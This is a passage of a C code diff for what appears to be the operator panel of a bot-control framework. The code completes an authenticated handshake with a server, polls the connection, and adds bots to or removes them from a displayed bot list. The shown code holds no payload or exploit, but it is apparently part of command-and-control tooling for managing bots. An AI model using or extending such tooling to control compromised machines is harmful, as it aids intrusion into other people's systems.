client->pub, client->priv, client->peer->peerPub) != 0) + LAIKA_ERROR("failed to gen session key!\n") + + /* queue authenticated handshake request */ + laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ); + laikaS_writeByte(sock, PEER_PANEL); + laikaS_endOutPacket(client->peer); + + if (!laikaS_handlePeerOut(client->peer)) + LAIKA_ERROR("failed to send handshake request!\n") +} + +bool panelC_poll(tPanel_client *client, int timeout) { + struct sLaika_pollEvent *evnt; + int numEvents; + + evnt = laikaP_poll(&client->pList, timeout, &numEvents); + + if (numEvents == 0) /* no events? timeout was reached */ + return false; + +LAIKA_TRY + if (evnt->pollIn && !laikaS_handlePeerIn(client->peer)) + goto _CLIENTKILL; + + if (evnt->pollOut && !laikaS_handlePeerOut(client->peer)) + goto _CLIENTKILL; + + if (!evnt->pollIn && !evnt->pollOut) + goto _CLIENTKILL; +LAIKA_CATCH +_CLIENTKILL: + laikaS_kill(&client->peer->sock); +LAIKA_TRYEND + + /* flush pList's outQueue */ + if (client->pList.outCount > 0) { + if (!laikaS_handlePeerOut(client->peer)) + laikaS_kill(&client->peer->sock); + + laikaP_resetOutQueue(&client->pList); + } + + return true; +} + +void panelC_addBot(tPanel_bot *bot) { + tPanel_listItem *bItem; + + /* add to botList tab */ + bItem = panelL_newListItem(panel_botList, NULL, bot->name, NULL, (void*)bot); + + /* link bot with listItem */ + panelB_setItem(bot, bItem); +} + +void panelC_rmvBot(tPanel_bot *bot) { + tPanel_listItem *bItem = bot->item; + + /* free from bot list & then free the bot */ + panelL_freeListItem(panel_botList, bItem); + panelB_freeBot(bot); +} \ No newline at end of file